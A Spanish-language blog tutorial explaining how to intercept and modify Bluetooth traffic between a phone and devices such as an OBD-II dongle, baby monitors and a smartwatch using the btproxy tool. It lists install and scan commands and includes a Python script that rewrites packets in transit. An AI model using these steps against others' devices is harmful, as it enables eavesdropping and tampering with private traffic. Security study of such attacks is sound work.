El ataque de "Hombre en el medio" o sus siglas en ingles MiTM es muy comun en dispositivos de red.
En esta entrada pretendemos explicar como se realiza este ataque en dispositivos Bluetooth, interceptando el trafico entre nuestra terminal y uno de estos dispositivos utilizando un telefono celular como intermediario.
A sido probado en los siguientes dispositivos:
- OBDLink OBD-II Bluetooth Dongle
- Algunos Smart Baby Monitor
- Moto 360 smart watch
- Beacons
Requerimientos
- Al menos una tarjeta de Bluetooth, externa o interna.
- S.O Linux o OS X
- BlueZ 4
- Un celular con Blueetooth
Instalamos BlueZ 4 y otras librerías
sudo apt install bluez bluez-utils bluez-tools libbluetooth-dev python-dev
Instalamos btproxy
git clone https://github.com/conorpp/btproxy
cd btproxy
sudo python setup.py install
Necesitamos que cada dispositivo este en modo visible
Manos a la obra
En primer lugar debemos identificar las direcciones MAC de el dispositivo master que será nuestro telefono y el slave que sera el objetivo, esto lo hacemos así:
hcitool scan
Ejecutamos un el proxy para llevar acabo el MiTM entre los dos dispositivos:
btproxy <master-bt-mac-address> <slave-bt-mac-address>
Esto creara un dispositivo bluetooth virtual cuyo nombre finalizará con _btproxy en el dispositivo master nos conectamos a el, esto nos abre el socket de comunicación, para poder visualizar los paquetes.
Uso avanzado
Podemos modificar los paquetes en tiempo real pasando como parametro un script en python al btproxy:
reemplazar.py
def master_cb(req):
req = req.replace(b'texto original', b'texto reemplazado')
req = req.replace(b' otro texto original', b'otro texto reemplazado')
print( '<< ', repr(req))
return req
def slave_cb(res):
print('>> ', repr(res))
return res
Y esto lo ejecutamos así:
sudo btproxy 11:22:33:44:55:66 77:88:99:AA:BB:CC -s reemplazar.py
En conclusión
No es ideal para un ataque real, ya que necesitamos manipular los dispositivos y conectarnos al proxy nuevamente, a menos que forzemos el "unpair" de los dispositivos y esperar a que se conecten nuevamente pero en el proxy, esto podria hacerse teoricamente con un Ubertooth pero es algo que no e comprobado aún.
0 comentarios :
Publicar un comentario